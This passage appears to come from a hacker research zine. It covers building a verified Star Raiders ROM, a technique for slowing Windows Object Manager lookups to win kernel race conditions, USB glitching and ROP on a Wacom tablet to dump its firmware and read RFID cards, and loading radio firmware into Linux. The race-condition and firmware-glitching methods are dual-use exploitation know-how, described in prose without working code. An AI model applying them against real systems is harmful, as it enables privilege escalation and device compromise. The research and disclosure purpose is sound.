another incarnation of “separation of form and content,” the



automated build pipeline was always a pleasure to watch working its
magic. (Mental note: I should have created this pipeline much earlier in
the reverse engineering effort.) These are the steps of the automated
build pipeline:

1. The pipeline begins with a raw, documented assembly language
source code file. It is already roughly formatted and uses a little
proprietary markup, just enough to mark up sections of meta-
comments that are to be removed in the output as well as
subroutine documentation containing multiple paragraphs,
numbered, and unnumbered lists. This source code file is fed to a
pre-formatter program, which I implemented in Java. The pre-



formatter removes the meta-comments. It also formats the entries
of the memory map and the subroutine documentation by
wrapping multi-line text at a preset right margin, out- and
indenting list items, numbering lists, and vertically aligning
parameter descriptions. It also corrects the number of trailing
asterisks in line comments, and adjusts the number of asterisks of
the box headers that introduce subroutine comments, centering
their text content inside the asterisk boxes.

2. The output of the pre-formatter from step 1 is fed into an Atari
6502 assembler, which I also wrote in Java. It is available as open-

source on GitHub.11 Why write an Atari 6502 assembler? There
are other 6502 assemblers readily available, but not all produce
object code for the Atari 8-bit Home Computer System, not all
use the MAC/65 source code format, and not all of them can be
easily tweaked when necessary. The output of this step is both an
assembler output listing and an object file.

3. The assembler output listing from step 2 is the finished, formatted,
reverse engineered STAR RAIDERS source code, containing the
documentation, the source code, and the object code listing.

4. The assembler output listing from step 2 is fed into a symbol
checker program, which I again wrote in Java. It searches the
documentation parts of the assembler output listing and checks if
every symbol, such as GAMELOOP, is followed by its correct hex value,
$A1F3. It reports any symbol with missing or incorrect hex values.
This ensures further consistency of the documentation.

5. The object file of step 2 is converted by yet another program I
wrote in Java from the Atari executable format into the final Atari
ROM cartridge format.

6. The output from step 5 is compared with a reference binary image
of the original STAR RAIDERS 8 KB ROM cartridge. If both
images are the same, then the entire build was successful: The raw



assembly language source code really represents the exact image of
the STAR RAIDERS 8 KB ROM cartridge

Typical build times on my not-so-recent Windows XP box (512
MB) were fifteen seconds.

For some finishing touches, I ran a spell-checker over the
documented assembly language source code file from time to time,
which also helped to improve documentation quality.



Conclusion

After quite some time, I achieved my goal of creating a complete,
reverse engineered, and fully documented assembly language source
code of STAR RAIDERS. For final verification, I successfully
assembled it with MAC/65 on an Atari 800 XL with 64 KB RAM
(emulated with Atari800Win Plus). MAC/65 is able to assemble source
code larger than the available RAM by reading the source code as
several chained files. So I split the source code (560 KB) into chunks of
32 KB and simply had the emulator point to a hard disk folder
containing these files. The resulting assembler output listing and the
object file were written back to the same hard disk folder. The object
file, after being transformed into the Atari cartridge format, exactly
reproduced the original STAR RAIDERS 8 KB ROM cartridge.

Postscript

I finished my reverse engineering effort in September 2015. I was
absolutely thrilled to learn that in October 2015 scans of the original
STAR RAIDERS source code re-surfaced. To my delight, inspection
of the original source code confirmed the findings of my reverse
engineered version and caused only a few trivial corrections. Even
more, the documentation of my reverse engineered version added a
substantial amount of information—from overall theory of operation



down to some tricky details—to the understanding of the often sparsely
commented original.









13:3 How Slow Can You Go?

by James Forshaw

While researching Windows, I tend to find quite a few race
condition vulnerabilities. Although these vulnerabilities can be
exploited, you typically only get a tiny window of time in which to do
it. The bug generally consists of the kernel first performing a security
check, then accessing a resource, and then performing a secure action.

In exploitable cases the race is between the security check and the
action. If we can modify the state of the system in between those
actions, it might be possible to elevate privileges or do unexpected
things. The time window is typically very small, but if the code is
accessing some controllable resource in between the check and the
action, we might still be able to create a very reliable exploit.

I wanted to find a way of increasing the time window to win the
race in cases where the code accesses a resource we control. The
following is an overview of the thought process I went through to come
up with a working solution.

Object Manager Lookup Performance

Hidden under the hood of Windows NT is the Object Manager
Namespace (OMN). You wouldn’t typically interact with it directly as
the Win32 API for the most part hides it away. The NT kernel defines a
set of objects, such as Files, Events, and Registry Keys, that can all have
a name associated with them. The OMN provides the means to lookup
these named objects. It acts like a file system; for example, you can
specify a path to an NT system call such as \BaseNamedObjects\MyEvent, and an
event can be thus looked up.



There are two special object types in the OMN, Object Directories
and Symbolic Links. Object Directories act as named containers for
other objects, whereas Symbolic Links allow a name to be redirected to
another OMN path. Symbolic Links are used quite a lot; for example,
the Windows drive letters are really symbolic links to the real storage
device. When we call an NT system call, the kernel must lookup the



entire path, following any symbolic links until it either reaches the
named object or fails to find a match.

In this exploit we want to make the process of looking up a resource
we control as slow as possible. For example, if we could make it take
one or two seconds, then we’ve got a massive window of opportunity to
win the race condition. Therefore I want to find a way of manipulating
the Object Manager lookup process in such a way that we achieve this
goal. I am going to present my approach to achieving the required
result.

A note about my setup: for my testing I am going to open a named
Event object. All testing is done on my 2.8GHz Xeon workstation.
Although it has twenty physical cores, the lookup process won’t be
parallelized, and therefore that shouldn’t be an issue. Xeons tend to
have more L2/L3 cache than consumer processors, but if anything this
should only make our timings faster. If I can get a long lookup time on
my workstation, it should be possible on pretty much anything else
running Windows. This was all tested on an up-to-date Windows 10
machine; however, not much has changed since Windows 7 that might
affect the results.

First let’s just measure the time it takes to do a normal lookup.
We’ll repeat the lookup a thousand times and take the average. The
results are probably what we’d expect: the lookup process for a simple
named Event is roughly 3μs. That includes the system call transition,
lookup process, and the access check on the Event object. Although in
theory you could win a race, it seems pretty unlikely, even on a multi-
core processor. So let’s think about a way of improving the lookup
time. (And when I say “improve,” I mean making the lookup time
slower.)

An Object Manager path is limited to the maximum string size
afforded by the UNICODE_STRING structure.



We can see that the Length member is an unsigned 16 bit integer,

limiting the maximum length to 216 – 1. This, however, is a byte count,
so in fact we are limited to half that many characters. From this result,
there are two obvious possible approaches we can take:

1. Make a path that contains one very long name. The lookup process
would have to compare the entire name using a typical string
comparison operation to verify it’s accessing the correct object.
This should take linear time relative to the length of the string.

2. Make multiple small, named directories nested withing eachother.
E.g., \A\A\A\A\...\EventName. The assumption here is that each lookup
takes a fixed amount of time to complete. This operation will
again take linear time relative to the depth of recursion of the
directories.

Now it would seem likely that the cost of the entire operation of a
single lookup will be worse than a string comparison, a primitive that is
typically optimized quite heavily. At this point we have not had to look
at any actual kernel code, and we won’t start quite yet, so instead
empirical testing seems the way to go.

Let’s start with the first approach, making a long string and
performing a lookup on it. Our name limit is around 32,767, although
we’ll need to be able to make the object in a writable directory such as
\BaseNamedObject, which reduces the length slightly, but not enough to
make significant impact. Therefore, we’ll perform the Event opening
on names between one and 32,000 characters in length.

Although this is a little noisy, our assumption of linear lookup time
seems correct. The longer the string, the longer it takes to look it up.



For a 32,000 character long string, this seems to top out at roughly
90μs. That’s not enough to be useful, but it’s certainly a start.

Now let’s instead look at the recursive directory approach. In this
case the upper bound is around 16,000 directories. This is because each
path component must contain a backslash and a single character name
(i.e. \A\A\A...). Therefore our maximum path limit is half the character
length. Of course we’d make the assumption that the time to go
through the lookup process is going to be greater than the time it takes
to compare four Unicode characters, but let’s test to make sure. The
results are shown on page 650.



Well, I think that’s unequivocal. For 16,000 recursive depth, the
average lookup time is around 3,700μs, forty times longer than the long
path name lookup result. Now, of course, this comes with downsides.
For a start, you need to create thousands of directory objects in the
kernel. At least on a modern 64 bit Windows this isn’t likely to be too
taxing, however it’s still worth bearing in mind. Also the process must
maintain a handle to each of those directories, because otherwise they’d
be deleted, as a normal user cannot make kernel objects permanent.
Fortunately our handle limit for a single process is of the order of 16
million.

Now, will 3,700μs be enough for us? It’s certainly orders of
magnitude greater than 3μs, but can we do better? We’ve now run out
of path space, we’ve filled the absolute maximum allowed string length



with recursive directory names. What we want is a method of
multiplying that effect without requiring a longer path. We can do this
by using Object Manager symbolic links. By placing the symbolic link
as the last component of the long path we can force the kernel to
reparse and start the lookup all over again. On the final lookup we’ll
just point the symbolic link to the target.

Ultimately though we can only do this 64 times. We can’t do this
indefinitley for a fairly obvious reason: each time a symbolic link is
encountered the kernel restarts the parsing processes. If you pointed a
symbolic link at itself, you’d end up in an infinite loop, except that a
reparse limit of 64. The results are as we expected, the time taken to
lookup our event is proportional to both the number of symbolic links
and the number of recursive directories. For 64 symbolic links and
16,000 directories it takes approximately 200ms. At around a fifth of a
second, that should be enough, but I’m greedy. How can we make the
lookup time even worse?

At this point it’s time to break out the disassembler and see how the
lookup process works under the hood in the kernel. First off, let’s see
what an object directory structure looks like. We can dump it from a
kernel debugging session using WinDBG with the command dt
nt!_OBJECT_DIRECTORY. Converted back to a C-style structure, it looks
something like this.

Based on the presence of the HashBucket field, it’s safe to assume that
the kernel is using a hash table to store directory entries. This makes
some sense, because if the kernel just maintained a list of directory



entries, that would be pretty poor for performance. With a hash table
the lookup time is much reduced as long as the hashing algorithm does
a good job of reducing collisions. As we’re trying to increase the cost of
lookups, we can intentionally add entries with collisions to make the
lookup process take the worst case time, which is linear relative to the
number of entries in a directory. This again provides us with another
scaling factor, and in this case the number of entries is only going to be
limited by available memory, as we are never going to need to put the
name into the path.

So what’s the algorithm for the hash? The main function of interest
is ObpLookupObjectName, which is referenced by functions such as
ObReferenceObjectByName. The directory entry logic is buried somewhere in
this large function; however, fortunately there’s a helper function
ObpLookupDirectoryEntryEx, which has the same logic that is smaller and

easier to reverse.12 (Figure 13.9.)

So the hashing algorithm is pretty simple; it repeatedly mixes the
bits of the current hash value and then adds the uppercase Unicode
character to the hash. We could work out a clever way of getting hash
collisions from this, but actually it’s pretty simple. The object manager
allows us to specify names containing null characters, therefore if we
take our target name, say ‘A’, and prefix it with increasing length strings
containing only null, we get both hash and bucket collisions. This
limits us to creating only 32,000 or so colliding entries before we run
out of strings to create them, but, as we’ll see in a minute, that’s not a
problem. Let’s look at the results of doing this for a single directory.





Figure 13.9: ObpLookupDirectoryEntryEx()

Yet again, a nice linear graph. For a given collision count it’s
nowhere near as good as the recursive directory approach, but it is a
multiplicative factor in the lookup time, which we can abuse. So you’d
think we can now easily apply this to all our 16,000 recursive
directories, add in symbolic links, and probably get an insane lookup
time. Yes, we would, however there’s a problem, insertion time. Every
time we add a new entry to a directory, the kernel must do a lookup to
check that the entry doesn’t already exist. This means that, for every

entry we add, we must do (n — 1)2 checks in the hash bucket just to find

that we don’t have the entry before we insert it. This means that the
time to add a new entry is approximately proportional to the square of
the number of entries. Sure it’s not a cubic or exponential increase, but
that’s hardly a consolation. To prove that this is the case we can just
measure the insertion time.

That graph shows a pretty clear n2 trend for the insertion time. If,

say, we wanted to create a directory entry with 16,000 collisions, it
takes almost six seconds. If we wanted to then do that for all 16,000
recursive directory entries, it would take an entire day! Now, I think
we’re going a bit over the top here, but by fiddling with the values we
can get something that doesn’t take too long to set up and gives us a



long lookup time. I’m still greedy, though; I want to see how far I can
push the lookup time. Is there any way we can get the best of all
worlds?

The final piece of the puzzle is to bring in Shadow directories,
which allow the Object Manager a fallback path if it can’t find an entry
in a directory. You can use almost any other Object Manager directory
as a shadow, which will allow us to control the lookup behavior.
Shadow directories have a crucial difference from symbolic links, as
they don’t cause a reparse to occur in the lookup process. This means
they’re not restricted to the 64 reparse limit. As each lookup consumes
a path component, eventually there will be no more paths to lookup. If
we put together two directories, we can pass a similar path to our
recursive directory lookup, without actually creating all the
directories.

So how does this actually work? If we open a path of the form
\A\A\A\A\A..., the kernel will first lookup the initial ‘A’ directory. This is
the directory on the left of the diagram. It will then try to open the
next ‘A’ directory, which is on the right, which again it will find. Next
the kernel again looks up ‘A’, but in this case it doesn’t exist. As the
directory has a shadow link to its parent, it looks there instead, finds



the same ‘A’ directory, and repeats the process. This will continue until
we run out of path elements to lookup.

So let’s determine the performance of this approach. We’d perhaps
expect it to be less performant relative to actually creating all those
directories if only because of the cache effects of the processor.
Hopefully it won’t be too far behind.

Looks good. Yes, the performance is lower than actually creating
the directories, but once we bring collisions into the mix, that’s not
really going to matter much. So the final result is that instead of
creating 16,000 directories with 16,000 collisions we can do it with just
two directories, which is far more manageable and takes just eleven
seconds on my workstation. So, to sign off, let’s combine everything
together.

1. 16,000 path components using two object directories in a shadow
configuration.

2. 16,000 collisions per directory.

3. 64 symbolic link reparsings.

And the resulting time for a single lookup on my workstation is
nearly twenty minutes! I think we might just be able to win the race



condition with that. Code examples can be found attached to this

document.13

After all that effort we can make the kernel take nineteen minutes to
lookup a single controlled resource path. That’s pretty impressive. We
have many options to get the kernel to start the lookup process,
allowing us to use not just files and registry keys but almost any named
event. It’s a typical tale of unexpected behavior when facing
pathological input, and it’s not really surprising that Microsoft
wouldn’t optimize for this use case.

13:4 A USB Glitching Attack; or, Reading RFID by
ROP and Wacom

by Micah Elizabeth Scott

Greetings, neighbors!

Today, like most days, I would like to celebrate the diversity of tiny
machines around us. This time I’ve prepared a USB magic trick of
sorts, incorporating techniques from the analog and the digital
domains.

Regular readers will be well aware that computer peripherals are
typically general-purpose computers themselves, and the operating
system often trusts them a little too much. Devices attached to
Thunderbolt (PCI Express) are trusted as much as the CPU. Devices
attached to USB, at best, are as privileged as the user, who can typically
do anything they want albeit slowly and using interfaces designed for

meat.14 If that USB device can exploit a bug in literally any available
driver, the device could achieve even more direct levels of control.

Not only are these peripherals small computers with storage and
vulnerabilities and secrets, they typically have very direct access to
their own hardware. It’s often firmware’s responsibility to set up clocks,
program power converters, and process analog signals. Projects like
BadUSB have focused on reprogramming a USB device to attack the



computer they’re attached to. What about using the available low-level
peripherals in ways they weren’t intended?

I recently made a video, a “Graphics Tablet Primer for Hackers,”
going into some detail on how a pen tablet input device actually works.
I compared the electromagnetic power and data transfer to the low-
frequency RFID cards still used by many door access control systems.
At the time this was just a convenient didactic tool, but it did start me
wondering just how hard it would be to use a graphics tablet to read
125 kHz RFID cards.



I had somewhat arbitrarily chosen a Wacom CTE-450 (Bamboo
Fun) tablet for this experiment. I had one handy, and I’d already done a
little preliminary reversing on its protocol and circuit design. It’s old
enough that it didn’t seem to use any custom Wacom silicon, recent
enough to be both cheap and plentiful on the second-hand market.

A Very Descriptive Descriptor

Typically you need firmware to analyze a device. Documented
interfaces are the tip of the iceberg. To really see what a device is
capable of, you need to see everything the firmware knows how to do.
Sometimes this is easy to get. Back in PoCǁGTFO 7:3, when I was

reversing an optical drive, the firmware was plainly available from the
manufacturer’s web site. Usually you won’t be so lucky. Manufacturers



often encrypt firmware to hide their crimes or slow down clones, and
some devices don’t appear to support firmware updates at all.

This device seemed to be the latter kind. No firmware updates
online. No hints of a firmware updating process hidden in their drivers.
The CPU was something I didn’t recognize at first. I posted the photo
to Twitter, and Lady Ada recognized it as a Sanyo/ONsemi LC87, an
8-bit micro that seems to be mostly used in Japanese consumer
electronics. It comes in both flash and ROM versions, both of which I
would later find in these tablets. Test points were available for an on-
chip debugger, but I couldn’t find the debug adapter for sale anywhere
nor could I find any documentation for the protocol. I even found the
firmware for this mysterious TCB87-TypeC debug adapter, and a way
to disassemble it, but the actual debug port was implemented by a
custom peripheral on the adapter’s CPU. I tried various bit twiddling
and pulse pushing in hopes of getting a response from the debug port,
but my best guess is that it’s been disabled.

At this point, the remaining options are more direct. A sufficiently
funded and motivated researcher could certainly break out the
micropositioners and acid, reading the data directly from on-chip
busses. But this is needlessly complex and expensive. This is a USB
device after all, and we have a perfectly good off-chip bus that can
already do many things. In fact, when you attach a USB device to your
PC, it typically hands very small pieces of its firmware back to the PC
in order to identify itself. We think of these USB Descriptors as data
tables, not part of the firmware at all, but where else would they be
stored? On an embedded device where RAM is so precious, the
descriptor chunks will be copied directly from Flash or Mask ROM
into the USB endpoint buffer. It’s a tiny engine designed to read parts
of firmware out over USB, and nearly every USB device has code like
this.

If this code is functioning properly, it will read back only the USB
descriptor tables, and nothing else. If there’s a bug in the size
calculation, you may be able to request more data. If there isn’t already
a bug, you can introduce one via clock or power glitching.



Introducing a bug at just the right time can be tricky, so this is
where it helped to build a new tool. Well, a tiny add-on for a masterful
existing tool: the ChipWhisperer-Lite by Colin O’Flynn. The
ChipWhisperer is an open source platform for side-channel power
analysis and glitching. The joy of having both power analysis and
glitching in the same platform is that they can be on the same reference
clock. With one oscillator, you can deterministically step your target
device through its paces, measure its activity via the power
consumption waveform, and deliver glitches to specific clock cycles. By
removing as many sources of jitter as possible, glitches can be delivered
more reliably to the intended operation within the target’s firmware.

My humble addon is the FaceWhisperer, a USB host controller
based on the MAX3421E chip, inspired of course by Travis Good-
speed’s Facedancer21 tool. Whereas the USB host controller in your
PC will be subject to many influences far outside your control, the
USB host in the FaceWhisperer can be precisely synchronized with
both the target device and the ChipWhisperer itself.

Putting everything on the same clock is necessary but not sufficient
for cycle-accurate timing repeatability. The LC87, like many
microcontrollers, will boot from a free-running RC oscillator before
switching to the external clock under software control. This means it’s
necessary to synchronize with the running firmware somehow before
starting up the USB host. In this case, I’m using a comparator input on
the FaceWhisperer to precisely wait on a debug signal that indicates
the beginning of a tablet scanning cycle.

The GET_DESCRIPTOR request we’re interested in comes in several parts: a
SETUP token that describes what descriptor we’d like to read, some IN
tokens that each ask the device to send back one more packet, and
finally an OUT for acknowledgment. These phases each drive a
forgetful state machine that wakes up on each interrupt and leaves
notes to itself for what needs to be done to the next packet. Unlike
antique asynchronous serial ports, USB devices can never speak to the
host unless they’re offered a timeslot with an IN token, so no matter



how badly we glitch the firmware we do need to follow this flow in
order to read back data from the device.

This firmware extraction glitch works by disrupting the calculation
and/or storage of the descriptor length, between that SETUP and the first
IN. To extract as much data as possible, the SETUP can have a length limit
of 0xFFFF and the FaceWhisperer can continue spamming IN tokens
until something fails. With this infrastructure in place, the
ChipWhisperer’s Glitch Explorer can hone in on timing offsets and
glitch parameters that give us longer than usual descriptor responses.
By briefly interrupting power at slightly different timing offsets after
the SETUP packet, a variety of glitched behavior can be observed.



The descriptor we’ll be reading is the USB Configuration
Descriptor, typically one of the longest descriptors a device will
provide. This device has a 34-byte descriptor that we’ll be trying to
glitch into something much longer. Usually the whole thing comes
back in one packet:



Sometimes our glitches occur while copying the IN data itself.
These aren’t useful on their own, but they can give some feedback on
how well the glitch is working:

When you’re getting close, you start to see non-corrupted
descriptors that have a longer than expected length:

Only a little more of that, and we find a glitched configuration
descriptor that’s 65,534 bytes long, more than enough to reconstruct
the entire 32 kB firmware ROM. You only get the memory prior to the
descriptor if the address space wraps, but fortunately for us this was the
case. All that’s left is to determine the address offset by looking for



clues like an IVT at the beginning or unused memory near the end of
the image, and correctly align the resulting 32 kB image.

If you’d like to try this technique on your own devices with the
ChipWhisperer, you can grab the PCB design and source for

FaceWhisperer to play along.15

This sort of side-channel analysis still requires a bit of PCB surgery
in order to set up the device’s power rails and clock for glitching and
monitoring. It also helps to have a reset signal and some sort of GPIO
that can be used as a timing reference. It would be interesting future
work to see how far this setup could be reduced. Could the glitching be
performed solely via the USB port, even through whatever power
regulation and conditioning the device includes?

Coding in Disappearing Ink

The documentation for the LC87 architecture is sparse. I eventually
found an instruction encoding table buried in some product-line-
specific appendix, but for a while the only resource I could find was a
freeware toolchain, including a compiler and an on-chip debugger. I
had already taken a look at this debugger in an attempt to awaken the
debug port on my tablet. It wouldn’t do much without this mysterious
TCB87-TypeC dongle, but I tried simulating the TCB87 with a
GreatFET that mostly just pretends things are okay and tells this RD87
debugger whatever it wants to hear. When I get the debugger to start
up, it begins populating the hex views with zeroes. After a quick look
with the USB analyzer, I easily find the requests that are the same size
as the device’s memory and begin answering those with my firmware
dump. Now I have a debugger that I can use for static analysis!

I was looking for some kind of update mechanism. I would later
discover that this tablet (firmware 1.16) used mask ROM whereas many
earlier tablets (1.13) used flash memory. Those 1.13 tablets do seem to
have a bootloader of some kind available, but I haven’t looked into it
yet. With the 1.16 tablet I had been analyzing, though, I became fairly
certain there was no intended way to modify the device’s program



memory. This gave me a new constraint, which turns out to be
interesting anyway: Turn the tablet into an RFID reader without
modifying its firmware. We’ll do this entirely via RAM and return-
oriented programming.

The next step was much easier than expected. There was plenty of
hidden functionality in the firmware. These are things that aren’t part
of any standard and aren’t used by the official drivers, but presumably
exist for factory test purposes. There’s a mode you can put the tablet in
which enables an additional USB endpoint that returns loads of timers
and internal debug info. Oh, and there’s a HID request that will just
write exactly 16 bytes into RAM anywhere you like!

I think this was used in conjunction with another routine that isn’t
called anywhere, which tests the custom silicon Sanyo added for
Wacom. Oh, custom silicon. I was hoping not to find that here. Newer
tablets have chips that are obviously designed by Wacom to be
complete analog frontends. I wanted to start with an older tablet that
would have fewer custom parts. But perhaps the “W” in LC871W32
stands for Wacom. The analog frontend is made from discrete
components in this tablet; multiplexers to select from an array of coils,
op-amps to integrate the received signals, a buffer to excite the coils
with a carrier wave. When I first looked at the circuit, it seemed like
the 750 kHz carrier wave itself as well as the other timing signals would
be generated using general-purpose peripherals on the micro. But
when I look for the corresponding GPIO pins, nothing. More reverse
engineering, and it was clear that I was facing custom hardware. I’ve
been calling it FEB0h, after its I/O address. At first I thought it was a
serial engine of some sort that was being misused to run the tablet, but
now it’s clear that this hardware is purpose-built. More on that later.
For now, it’s enough to know that the hardware or the mask ROM itself
had enough engineering risk that they thought it prudent to include
such a powerful test feature.

This is enough to start testing the waters and building up more and
more complex ROP code. The ROM is only 32kB, and barely half full,
but there are some useful gadgets. We can make function calls, do



memcpy, RAM-to-RAM and ROM-to-RAM. Interrupts are tricky. I tried
coexisting with them for a while, but had to give up on that due to
USB packet corruption issues I couldn’t track down. Write an arbitrary
byte? Look up where we’d find that in ROM and do a memcpy. Loops are
the slowest. These ROP stack frames can only execute once before
they’re corrupted, so we must copy the code each time it’s run. It’s slow,
but we’re doing arbitrary things to this peripheral that we haven’t even
written any code to. We can even return it to normal operation if we
like, by jumping back to the main loop and restoring a normal stack.

This is not typically the sort of operation your OS requires
elevated privileges for. The underlying Send Feature Report operation
is typically associated with harmless device-specific features like
toggling your keyboard LEDs, not with writing arbitrary instructions
to a Turing-complete processor that is trusted by the OS just as much
as you are. Applications can typically reserve access to any HID device
that doesn’t already have a driver loaded. It’s easy to imagine some
desktop malware that unloads or subverts the default driver long
enough to load some malware into a peripheral’s RAM without
subsequent detection by either the user or the driver.



Amplitude Modulation Alchemy

Wacom pens and passive RFID cards are broadly similar, in that they
both use a resonant LC circuit to pick up some energy from the
reader’s changing magnetic field, then they send back data bits with
backscatter modulation, selectively shorting out the coil. The specific
mechanism is a bit different though, and it will make our job harder. A
typical 125 kHz RFID reader is sending out either a continuous carrier,
or perhaps sending long bursts a few times a second to save energy.
During this burst, the reader is continuously listening for a modulated
response, with hardware filters specifically tuned to this job.

Wacom tablets, by contrast, are all about sequentially scanning an
array of coils. This CTE-450 tablet has 12 short and wide horizontal
coils on the front side (Y00 through Y11) and 17 tall and thin vertical
coils on the back side (X00 to X16). When it has no idea where the pen
might be, it has to scan everywhere. After locating the pen, it can adjust
the scanning pattern to take differential measurements from the tablet
coils nearest the pen coil. Instead of transmitting and receiving
simultaneously, the filtering can be simplified by toggling between two
modes. When transmitting, a 74HC125 buffer drives the coil with the
tablet’s carrier wave. During this time, the analog integrator is zeroed.
Then the tablet switches modes, and begins integrating the received
signal.



These resonant LC circuits are like electromagnetic tuning forks.
An RFID tag or a Wacom pen have a tuning fork at a specific
frequency, and some circuitry that communicates each bit by either
damping the oscillations or letting them ring. The Wacom tablet
shouts at the tuning fork’s frequency, quickly and abruptly, and
immediately listens for the reverberation. The whole protocol is
designed around this mode switch. Gaps in the carrier indicate the bit
boundaries, and longer bursts divide packets.

The trick here is to use this mechanism to read some common
RFID access card. Between the slow return-oriented programming and
the limited analog frontend, I picked an easy target for the PoC. The
EM4100 is a common 125 kHz tag with a fixed 40-bit ID. It’s no more
secure than a pin tumbler lock for sure, but it isn’t too far from the tags
used in many access control systems.

The EM4100 pads the 40-bit code out to a 64-bit repeating pattern
with the addition of a 9-bit header and a matrix of parity bits. Each bit
is Manchester encoded; 0 becomes 10, 1 becomes 01. Each half-bit lasts
32 clock cycles, giving us a conveniently slow data rate.

The pulsed carrier is a problem. The RFID card does have its little
tuning fork, and it keeps ringing a little bit, but not as much as you
might think, especially when the EM4100 chip is trying to power itself
from this stored energy and the external carrier has disappeared. A
clock cycle or two, but not nearly as long as the tablet’s A/D conversion
takes. This little bit of unpredictability, though, has so far foiled every
plan of mine to stay in sync with the signal in order to sample it at or
below the bit rate. My workaround has been to use a short enough
carrier pulse in order to have multiple samples per bit, allowing me to
occasionally use a pile of filters and heuristics to recover the correct
bits with appropriate deference to Nyquist. The problem with using a
shorter carrier pulse is that it lowers our carrier duty cycle, delivering
less power to the RFID card. So, there’s a delicate balance: long enough
to power the card, short enough for the resulting data to be intelligible
through this intermittent sampling.



The returned signal is quite weak, since the tablet’s filters are
looking for resonance at a very different frequency. This is an area
where I’ve seen much difference between individual RFID tags. Under
unrealistic conditions, with the RFID tag placed directly on the tablet
circuit board, many tags read successfully without much trouble. With
an unmodified and fully assembled tablet, I’ve had very difficult to
reproduce results, occasionally reading only one of the several tags I
tried the setup with.

If you want to try this experiment or others, you can find my simple
ROP toolkit and signal processing for the CTE-450 and try your luck

with the return-oriented analog hacking.16

More to do

Although so far I’ve only managed to transform this tablet into an
extremely bad RFID reader, I think this shows that the overall
approach may lead somewhere. The main limitations here are in the
reliance on slow ROP, and the relatively low quality A/D converter on
the LC871. I’ve done my best to try and separate the signal from the
noise, but I’m no DSP guru. It’s possible that a signal processing expert
could be snooping tags with a better success rate than I’ve been seeing.
As a proof of concept, this shows that the transformation from tablet to
RFID reader is theoretically doable, though without a significant
improvement in range it’s hard to imagine this approach succeeding at
reading access cards casually left against a victim’s graphics tablet.



It could be interesting to examine newer tablets. The custom
silicon in FEB0h turned out to be one of the best things about the CTE-
450 tablet, making it relatively easy to change the timing and carrier
frequency. If newer tablets have a nicer A/D converter and a
programmable filter on the receive path, they could make a decent
RFID reader indeed. A brief look at my newer Intuos Pro tablet shows
a Renesas processor that likely has reprogrammable flash.

There’s certainly more work to do in discovering the scope of
devices vulnerable to glitched GET_DESCRIPTOR requests. What other devices
that we usually think of as black-box peripherals might have firmware
that can be read out, or RAM that we can temporarily hide code in?

It may be possible to mitigate these glitched GET_DESCRIPTOR firmware
readouts by adding additional verification steps in the device’s USB
stack, which would each also need to be glitched. Reducing the number
of invalid states that eventually result in spilling data will make the
glitching process much more tedious.

In practice, though, I would argue that the best security is not to
rely on secret firmware at all. Algorithms shouldn’t need secrecy to
keep them secure. Debug features that are too dangerous to leave
should be disabled, not hidden. If any sensitive data must be reachable



from the CPU, it should be unmapped whenever possible, especially
when some USB controller asks for your life story.

13:5 Decoding AMBE+2 in MD380 Firmware in
Linux

by Travis Goodspeed KK4VCZ, with kind thanks to DD4CR, DF8AV and
AB3TL.

Howdy y’all,

In PoCǁGTFO 10:8, I shared with you fine folks a method for

extracting a cleartext firmware dump from the Tytera MD380. Since
then, a rag-tag gang of neighbors has joined me in hacking this device,
and hundreds of amateur radio operators around the world are using
our enhanced firmware for DMR communications.

AMBE+2 is a fixed bit-rate audio compression codec under some
rather strict patents, for which the anonymously-authored Digital

Speech Decoder (DSD) project is the only open source decoder.17 It
doesn’t do encoding, so if you’d like to convert your favorite Rick
Astley tunes to AMBE frames, you’ll have to resort to expensive
hardware converters.

In this article, I’ll show you how I threw together a quick and dirty
AMBE audio decompressor for Linux by wrapping the firmware into a
32-bit ARM executable, then running that executable either natively or
through Qemu. The same tricks could be used to make an AMBE
encoder, or to convert nifty libraries from other firmware images into
handy command-line tools.

This article will use an MD380 firmware image version 2.032 for
specific examples, but in the spirit of building our own bird feeders, the
techniques ought to apply just as well to your own firmware images
from other devices.

Suppose that you are reverse engineering a firmware image, and
you’ve begun to make good progress. You know where plenty of useful



functions are, and you’ve begun to hook them, but now you are ready
to start implementing unit tests and debugging chunks of code.
Wouldn’t it be nicer to do that in Unix than inside of an embedded
system?

As luck would have it, I’m writing this article on an aarch64 Linux
machine with eight cores and a few gigs of RAM, but any old Raspberry
Pi or Android phone has more than enough power to run this code
natively.

Be sure to build statically, targeting arm-linux-gnueabi. The resulting
binary will run on armel and aarch64 devices, as well as damned near
any Linux platform through Qemu’s userland compatibility layer.

Dynamic Firmware Loading

First, we need to load the code into our process. While you can
certainly link it into the executable, luck would have it that GCC puts
its code sections very low in the executable, and we can politely ask
mmap(2) to load the unpacked firmware image to the appropriate address.
The first 48kB of Flash are used for a recovery bootloader, which we
can conveniently skip without consequences, so the load address will be
0x0800c000.

Additionally, we need the 128kB of RAM at 0x20000000 and 64kB of
TCRAM at 0x10000000 that the firmware expects on this platform. Since
we’d like to have initialized variables, it’s usually better go with dumps
of live memory from a running system, but /dev/zero works for many
functions if you’re in a rush.



Symbol Imports

Now that we’ve got the code loaded, calling it is as simple as calling any
other function, except that our C program doesn’t yet know the symbol
addresses. There are two ways around this.

The quick but dirty solution is to simply cast a data or function
pointer. For a concrete example, there is a null function at 0x08098e14



that simply returns without doing anything. Because it’s a Thumb
function and not an ARM function, we’ll have to add one to that
address before calling it at 0x08098e15.

Similarly, you can access data that’s in Flash or RAM.

Casting function pointers gets us part of the way, but it’s rather
tedious and wastes a bit of memory. Instead, it’s more efficient to pass a
textfile of symbols to the linker. Because this is just a textfile, you can
easily export symbols by script from IDA Pro or Radare2.

The symbol file is just a collection of assignments of names to
addresses in roughly C syntax, except for the lack of types.

You can include it in the executable by passing GCC parameters to
the linker, or by calling ld directly.



Now that we can load the firmware into process memory and call
its functions, let’s take a step back and see a second way to do the



linking, by rewriting the firmware dump into an ELF object and then
linking it. After that, we’ll get along to decoding some audio.

Static Firmware Linking

While it’s nice and easy to load firmware with mmap(2) at runtime, it
would be nice and correct to convert the firmware dump into an object
file for static linking, so that our resulting executable has no external
dependencies at all. This requires both a bit of objcopy wizardry and a
custom script for ld.

First, let’s convert our firmware image dump to an ELF that loads
at the proper address.

Sadly, ld will ignore our request to load this image at 0x0800-0C000,
because load addresses in Unix are just polite suggestions, to be thrown
away at the whim of the linker. We can fix this by passing flags to GCC

at compile time, so ld knows to place the section at the right address.18

Similarly, the SRAM core dump can be embedded at its own load
address.

Decoding the Audio

To decode the audio, I decided to begin with the same .amb format that
DSD uses. This way, I could work from their reference files and
compare my decoding to theirs.

The .amb format consists of a four byte header (2e 61 6d 62) followed
by eight-byte frames. Each frame begins with a zero byte and is
